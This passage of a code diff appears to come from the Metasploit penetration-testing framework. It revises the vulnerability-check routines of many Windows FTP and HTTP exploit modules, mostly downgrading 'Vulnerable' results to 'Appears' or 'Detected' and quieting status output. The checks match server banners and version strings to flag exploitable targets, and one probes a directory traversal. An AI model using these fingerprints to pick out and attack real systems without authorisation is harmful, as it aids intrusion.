b1b8ac68f1..ab5a97838f 100644 --- a/modules/exploits/windows/ftp/easyfilesharing_pass.rb +++ b/modules/exploits/windows/ftp/easyfilesharing_pass.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /Easy File Sharing FTP Server/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb index 58958b34df..0805ac2063 100644 --- a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/easyftp_list_fixret.rb b/modules/exploits/windows/ftp/easyftp_list_fixret.rb index 4ec0fcad81..e230140ad1 100644 --- a/modules/exploits/windows/ftp/easyftp_list_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_list_fixret.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /BigFoolCat/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb index 4e45a2818d..6368dcbbef 100644 --- a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /BigFoolCat/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/freefloatftp_user.rb b/modules/exploits/windows/ftp/freefloatftp_user.rb index 959c94b5ed..a85fd0f6e5 100644 --- a/modules/exploits/windows/ftp/freefloatftp_user.rb +++ b/modules/exploits/windows/ftp/freefloatftp_user.rb @@ -57,6 +57,7 @@ class Metasploit4 < Msf::Exploit::Remote connect disconnect if (banner =~ /FreeFloat/) + # Software is never updated, so if you run this you're f*cked. return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/ftp/freefloatftp_wbem.rb b/modules/exploits/windows/ftp/freefloatftp_wbem.rb index 27718f7679..a035752d21 100644 --- a/modules/exploits/windows/ftp/freefloatftp_wbem.rb +++ b/modules/exploits/windows/ftp/freefloatftp_wbem.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if banner =~ /FreeFloat/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index 1c8711caa6..285b4dd012 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote # All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0" # when banner grabbing. if banner =~ /freeFTPd 1\.0/ - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/ftp/freeftpd_user.rb b/modules/exploits/windows/ftp/freeftpd_user.rb index db8e0d7a3c..ef572effe0 100644 --- a/modules/exploits/windows/ftp/freeftpd_user.rb +++ b/modules/exploits/windows/ftp/freeftpd_user.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect if (banner =~ /freeFTPd 1\.0/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb index d773ba4cc8..cc334f2643 100644 --- a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb +++ b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote def check connect disconnect - print_status("FTP Banner: #{banner}".strip) + vprint_status("FTP Banner: #{banner}".strip) if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70" return Exploit::CheckCode::Appears else diff --git a/modules/exploits/windows/ftp/httpdx_tolog_format.rb b/modules/exploits/windows/ftp/httpdx_tolog_format.rb index a1263b6f66..844a06de10 100644 --- a/modules/exploits/windows/ftp/httpdx_tolog_format.rb +++ b/modules/exploits/windows/ftp/httpdx_tolog_format.rb @@ -125,9 +125,9 @@ For now, that will have to be done manually. def check connect disconnect - print_status("FTP Banner: #{banner}".strip) + vprint_status("FTP Banner: #{banner}".strip) if banner =~ /httpdx.*\(Win32\)/ - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/netterm_netftpd_user.rb b/modules/exploits/windows/ftp/netterm_netftpd_user.rb index 1fd6e91a82..4e756c2a11 100644 --- a/modules/exploits/windows/ftp/netterm_netftpd_user.rb +++ b/modules/exploits/windows/ftp/netterm_netftpd_user.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect if (banner =~ /NetTerm FTP server/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb index 87a0fa43d3..93fad47728 100644 --- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if banner =~ /\*\* Welcome on \*\*/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb index 89996329c8..35e0d31ea7 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect if (banner =~ /9\.2\.0\.1\.0/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb index 38fbb0ee38..6120334331 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect if (banner =~ /9\.2\.0\.1\.0/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/pcman_stor.rb b/modules/exploits/windows/ftp/pcman_stor.rb index e87af145c6..a8e3474e1d 100644 --- a/modules/exploits/windows/ftp/pcman_stor.rb +++ b/modules/exploits/windows/ftp/pcman_stor.rb @@ -60,10 +60,10 @@ class Metasploit3 < Msf::Exploit::Remote if c and banner =~ /220 PCMan's FTP Server 2\.0/ # Auth is required to exploit - print_status("Able to authenticate, and banner shows the vulnerable version") - return Exploit::CheckCode::Vulnerable + vprint_status("Able to authenticate, and banner shows the vulnerable version") + return Exploit::CheckCode::Appears elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/ - print_status("Unable to authenticate, but banner shows the vulnerable version") + vprint_status("Unable to authenticate, but banner shows the vulnerable version") # Auth failed, but based on version maybe the target is vulnerable return Exploit::CheckCode::Appears end diff --git a/modules/exploits/windows/ftp/ricoh_dl_bof.rb b/modules/exploits/windows/ftp/ricoh_dl_bof.rb index 08406d38eb..9054489c4a 100644 --- a/modules/exploits/windows/ftp/ricoh_dl_bof.rb +++ b/modules/exploits/windows/ftp/ricoh_dl_bof.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect if banner =~ /220 DSC ftpd 1\.0 FTP Server/ - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/sami_ftpd_user.rb b/modules/exploits/windows/ftp/sami_ftpd_user.rb index c6a5546220..f6d9bd49f0 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_user.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_user.rb @@ -74,8 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote banner = sock.get(-1,3) disconnect - if (banner =~ /Sami FTP Server 2.0.2/) - return Exploit::CheckCode::Vulnerable + if (banner =~ /Sami FTP Server 2\.0\.2/) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/servu_chmod.rb b/modules/exploits/windows/ftp/servu_chmod.rb index 51b79cd9b9..d02f862d9f 100644 --- a/modules/exploits/windows/ftp/servu_chmod.rb +++ b/modules/exploits/windows/ftp/servu_chmod.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb index 42a243fafb..5ad67c1cf8 100644 --- a/modules/exploits/windows/ftp/servu_mdtm.rb +++ b/modules/exploits/windows/ftp/servu_mdtm.rb @@ -96,31 +96,31 @@ class Metasploit3 < Msf::Exploit::Remote case banner when /Serv-U FTP Server v4\.1/ - print_status('Found version 4.1.0.3, exploitable') - return Exploit::CheckCode::Vulnerable + vprint_status('Found version 4.1.0.3, exploitable') + return Exploit::CheckCode::Appears when /Serv-U FTP Server v5\.0/ - print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!'); + vprint_status('Found version 5'); return Exploit::CheckCode::Appears when /Serv-U FTP Server v4\.0/ - print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.'); + vprint_status('Found version 4.0.0.4 or 4.1.0.0, additional check.'); send_user(datastore['USER']) send_pass(datastore['PASS']) if (double_ff?()) - print_status('Found version 4.0.0.4, exploitable'); - return Exploit::CheckCode::Vulnerable + vprint_status('Found version 4.0.0.4, exploitable'); + return Exploit::CheckCode::Appears else - print_status('Found version 4.1.0.0, exploitable'); - return Exploit::CheckCode::Vulnerable + vprint_status('Found version 4.1.0.0, exploitable'); + return Exploit::CheckCode::Appears end - when /Serv-U FTP Server/ - print_status('Found an unknown version, try it!'); + when /Serv\-U FTP Server/ + vprint_status('Found an unknown version, try it!'); return Exploit::CheckCode::Detected else - print_status('We could not recognize the server banner') + vprint_status('We could not recognize the server banner') return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/turboftp_port.rb b/modules/exploits/windows/ftp/turboftp_port.rb index 986745dbba..f77e5c41b7 100644 --- a/modules/exploits/windows/ftp/turboftp_port.rb +++ b/modules/exploits/windows/ftp/turboftp_port.rb @@ -63,9 +63,9 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect if (banner =~ /1\.30\.823/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif (banner =~ /1\.30\.826/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb index 49a66b4f45..412789b02e 100644 --- a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb +++ b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb @@ -98,9 +98,9 @@ class Metasploit3 < Msf::Exploit::Remote def check connect disconnect - print_status("FTP Banner: #{banner}".strip) + vprint_status("FTP Banner: #{banner}".strip) if banner =~ /\(vftpd .*\)/ - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb index 61e8d942bd..6b3f186759 100644 --- a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb +++ b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect if (banner =~ /5\.0\.3/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb index f6e6daa27c..126618beaa 100644 --- a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb +++ b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb @@ -47,8 +47,8 @@ class Metasploit3 < Msf::Exploit::Remote def check connect disconnect - if (banner =~ /WS_FTP Server 5.0.5/) - return Exploit::CheckCode::Vulnerable + if (banner =~ /WS_FTP Server 5\.0\.5/) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/xlink_server.rb b/modules/exploits/windows/ftp/xlink_server.rb index 2d87b3d703..12e7a44290 100644 --- a/modules/exploits/windows/ftp/xlink_server.rb +++ b/modules/exploits/windows/ftp/xlink_server.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /XLINK FTP Server/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/games/ut2004_secure.rb b/modules/exploits/windows/games/ut2004_secure.rb index abef347ad2..509bb4c411 100644 --- a/modules/exploits/windows/games/ut2004_secure.rb +++ b/modules/exploits/windows/games/ut2004_secure.rb @@ -97,19 +97,19 @@ class Metasploit3 < Msf::Exploit::Remote return end - print_status("Detected Unreal Tournament Server Version: #{vers}") + vprint_status("Detected Unreal Tournament Server Version: #{vers}") if (vers =~ /^(3120|3186|3204)$/) - print_status("This system appears to be exploitable") + vprint_status("This system appears to be exploitable") return Exploit::CheckCode::Appears end if (vers =~ /^(2...)$/) - print_status("This system appears to be running UT2003") + vprint_status("This system appears to be running UT2003") return Exploit::CheckCode::Detected end - print_status("This system appears to be patched") + vprint_status("This system appears to be patched") return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/altn_securitygateway.rb b/modules/exploits/windows/http/altn_securitygateway.rb index a1bdc56051..2df56e665a 100644 --- a/modules/exploits/windows/http/altn_securitygateway.rb +++ b/modules/exploits/windows/http/altn_securitygateway.rb @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote def check if auto_target - Exploit::CheckCode::Vulnerable + Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/apache_chunked.rb b/modules/exploits/windows/http/apache_chunked.rb index 1b9c05d237..07a3e8a1c9 100644 --- a/modules/exploits/windows/http/apache_chunked.rb +++ b/modules/exploits/windows/http/apache_chunked.rb @@ -156,8 +156,8 @@ class Metasploit3 < Msf::Exploit::Remote def check response = send_request_raw({'uri' => '/'}, 5) if response.nil? - print_status("No response to request") - return Exploit::CheckCode::Safe + vprint_status("No response to request") + return Exploit::CheckCode::Unknown end http_fingerprint({ :response => response }) # Custom Server header matching @@ -166,24 +166,20 @@ class Metasploit3 < Msf::Exploit::Remote case response['Server'] when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22" - print_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)") + vprint_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)") when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24" - print_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)") + vprint_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)") when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25" - print_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)") + vprint_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)") when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/ - print_status("IBM backported the patch, this system is not vulnerable") + vprint_status("IBM backported the patch, this system is not vulnerable") code = Exploit::CheckCode::Safe when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/ else code = Exploit::CheckCode::Safe end - if code == Exploit::CheckCode::Appears - print_status("Vulnerable server: #{response['Server']}") - else - print_status("Server is probably not vulnerable: #{response['Server']}") - end + vprint_status("Server: #{response['Server']}") return code end diff --git a/modules/exploits/windows/http/apache_modjk_overflow.rb b/modules/exploits/windows/http/apache_modjk_overflow.rb index c1ffa289ee..b8f8d6c4ed 100644 --- a/modules/exploits/windows/http/apache_modjk_overflow.rb +++ b/modules/exploits/windows/http/apache_modjk_overflow.rb @@ -60,8 +60,8 @@ class Metasploit3 < Msf::Exploit::Remote resp = sock.get_once disconnect - if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then - print_status("Apache version detected : #{m[1]}") + if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1\.2\.20/))) then + vprint_status("Apache version detected : #{m[1]}") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/badblue_ext_overflow.rb b/modules/exploits/windows/http/badblue_ext_overflow.rb index 290fea3f54..bbf9ac4435 100644 --- a/modules/exploits/windows/http/badblue_ext_overflow.rb +++ b/modules/exploits/windows/http/badblue_ext_overflow.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote def check info = http_fingerprint # check method if (info =~ /BadBlue\/2\.5/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb index 4e415858c6..7c9ee042fe 100644 --- a/modules/exploits/windows/http/cyclope_ess_sqli.rb +++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb @@ -60,17 +60,15 @@ class Metasploit3 < Msf::Exploit::Remote path = File.dirname("#{target_uri.path}/.") b64_version = get_version(path) if b64_version.empty? - print_error("#{peer} - Unable to determine the version number") + vprint_error("#{peer} - Unable to determine the version number") else b64_version = Rex::Text.decode_base64(b64_version) if b64_version =~ /^[0-6]\.1/ - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Appears end end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index d790b28ccb..7ddae4d011 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote build = $1 print_status("Manage Desktop Central 8 build #{build} found") if build < "80293" - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index bd72a06f5c..dda0bdf929 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -77,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Remote def check info = http_fingerprint # check method - if info and (info =~ /Easy-Web Server\//) - return Exploit::CheckCode::Vulnerable + if info and (info =~ /Easy\-Web Server\//) + return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index 4766b4e4a6..1745bb46be 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res.nil? - print_error("Unable to determine, because the request timed out.") + vprint_error("Unable to determine, because the request timed out.") return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb index e9e4017905..45369d96d4 100644 --- a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb +++ b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote depth = datastore['DEPTH'] install_path = datastore['INSTALLPATH'] - print_status("#{peer} - Detecting tomcat version...") + vprint_status("#{peer} - Detecting tomcat version...") tomcat_version = get_tomcat_version if tomcat_version @@ -118,19 +118,19 @@ class Metasploit3 < Msf::Exploit::Remote res = read_file(depth, location, "index.jsp") if res and res.code == 200 and res.body.to_s =~ /HP Service Emulation/ - print_good("#{peer} - Traversal exists and parameters are correct...") + vprint_good("#{peer} - Traversal exists and parameters are correct...") return Exploit::CheckCode::Vulnerable elsif res and res.code == 500 and res.body.to_s =~ /FileNotFoundException/ - print_warning("#{peer} - Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH...") + vprint_warning("#{peer} - Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH...") return Exploit::CheckCode::Appears else - print_status("#{peer} - Failed to verify the directory traversal...") + vprint_status("#{peer} - Failed to verify the directory traversal...") end else - print_error("#{peer} - Tomcat version not detected...") + vprint_error("#{peer} - Tomcat version not detected...") end - print_status("#{peer} - Checking if the vulnerable web service and method exist...") + vprint_status("#{peer} - Checking if the vulnerable web service and method exist...") res = send_request_cgi({ 'uri' => normalize_uri('ServiceEmulation', 'services', 'EmulationAdmin'), 'vars_get' => { 'wsdl' => 1 } diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb index c2f655aa13..86e4ba4890 100644 --- a/modules/exploits/windows/http/hp_nnm_ovas.rb +++ b/modules/exploits/windows/http/hp_nnm_ovas.rb @@ -183,11 +183,11 @@ class Metasploit3 < Msf::Exploit::Remote resp = send_request_raw({'uri' => '/topology/home'}, 5) if resp.nil? - print_status("No response to request") - return Exploit::CheckCode::Safe + vprint_status("No response to request") + return Exploit::CheckCode::Unknown end - if (resp.body =~ /NNM Release B.07.53/ || resp.body =~ /NNM Release B.07.52/ || resp.body =~ /NNM Release B.07.51/) + if (resp.body =~ /NNM Release B\.07\.53/ || resp.body =~ /NNM Release B\.07\.52/ || resp.body =~ /NNM Release B\.07\.51/) return Exploit::CheckCode::Appears end diff --git a/modules/exploits/windows/http/httpdx_handlepeer.rb b/modules/exploits/windows/http/httpdx_handlepeer.rb index ddc21fc8d5..157598b3e9 100644 --- a/modules/exploits/windows/http/httpdx_handlepeer.rb +++ b/modules/exploits/windows/http/httpdx_handlepeer.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote def check info = http_fingerprint # check method if info and (info =~ /httpdx\/(.*) \(Win32\)/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/httpdx_tolog_format.rb b/modules/exploits/windows/http/httpdx_tolog_format.rb index ad74759f42..5569903845 100644 --- a/modules/exploits/windows/http/httpdx_tolog_format.rb +++ b/modules/exploits/windows/http/httpdx_tolog_format.rb @@ -137,7 +137,7 @@ For now, that will have to be done manually. if version print_status("HTTPDX version detected : #{version}") if (version =~ /1\.4/) or (version == "1.5") - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end end Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 71cbf47bb7..c7bb9bd174 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -73,8 +73,8 @@ class Metasploit3 < Msf::Exploit::Remote sock.put("GET / HTTP/1.0\r\n\r\n") res = sock.get_once - if res =~ /intrasrv 1.0/ - return Exploit::CheckCode::Vulnerable + if res =~ /intrasrv 1\.0/ + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/kolibri_http.rb b/modules/exploits/windows/http/kolibri_http.rb index 43d201dbcb..aeb76201d1 100644 --- a/modules/exploits/windows/http/kolibri_http.rb +++ b/modules/exploits/windows/http/kolibri_http.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote def check info = http_fingerprint if info and (info =~ /kolibri-2\.0/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/mailenable_auth_header.rb b/modules/exploits/windows/http/mailenable_auth_header.rb index a695efa0b7..083a250014 100644 --- a/modules/exploits/windows/http/mailenable_auth_header.rb +++ b/modules/exploits/windows/http/mailenable_auth_header.rb @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote def check info = http_fingerprint # check method if (info =~ /MailEnable/) - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb index 1bb9a52884..29f338de3f 100644 --- a/modules/exploits/windows/http/mcafee_epolicy_source.rb +++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote banner = sock.get(-1,3) - if (banner =~ /Spipe\/1.0/) + if (banner =~ /Spipe\/1\.0/) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb index 3cfbb9a2a6..582bf2475f 100644 --- a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb +++ b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb @@ -72,9 +72,10 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /WDaemon\/6\.8\.[0-5]/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end - return Exploit::CheckCode::Safe + + return Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index 8e5a2fb904..c1f0650c45 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -71,7 +71,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => uri }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE - fail_with(Failure::Unreachable, "#{peer} - Connection failed") + vprint_error("Connection failed") + return Exploit::CheckCode::Unknown end if !res or res.headers['Server'].empty? @@ -80,8 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Detected end - return Exploit::CheckCode::Unknown - + return Exploit::CheckCode::Safe end def upload(filename, filedata) diff --git a/modules/exploits/windows/http/navicopa_get_overflow.rb b/modules/exploits/windows/http/navicopa_get_overflow.rb index d3b156d697..f0c62c0ef6 100644 --- a/modules/exploits/windows/http/navicopa_get_overflow.rb +++ b/modules/exploits/windows/http/navicopa_get_overflow.rb @@ -60,8 +60,8 @@ class Metasploit3 < Msf::Exploit::Remote resp = sock.get_once disconnect - if (resp =~ /2.01 11th September/) - return Exploit::CheckCode::Vulnerable + if (resp =~ /2\.01 11th September/) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/netdecision_http_bof.rb b/modules/exploits/windows/http/netdecision_http_bof.rb index 08710c0659..0bd10a55d8 100644 --- a/modules/exploits/windows/http/netdecision_http_bof.rb +++ b/modules/exploits/windows/http/netdecision_http_bof.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({'uri'=>'/'}) banner = res.headers['Server'] if banner =~ /NetDecision\-HTTP\-Server\/1\.0/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/novell_mdm_lfi.rb b/modules/exploits/windows/http/novell_mdm_lfi.rb index 584055c214..545ff7152a 100644 --- a/modules/exploits/windows/http/novell_mdm_lfi.rb +++ b/modules/exploits/windows/http/novell_mdm_lfi.rb @@ -74,7 +74,7 @@ class Metasploit3 < 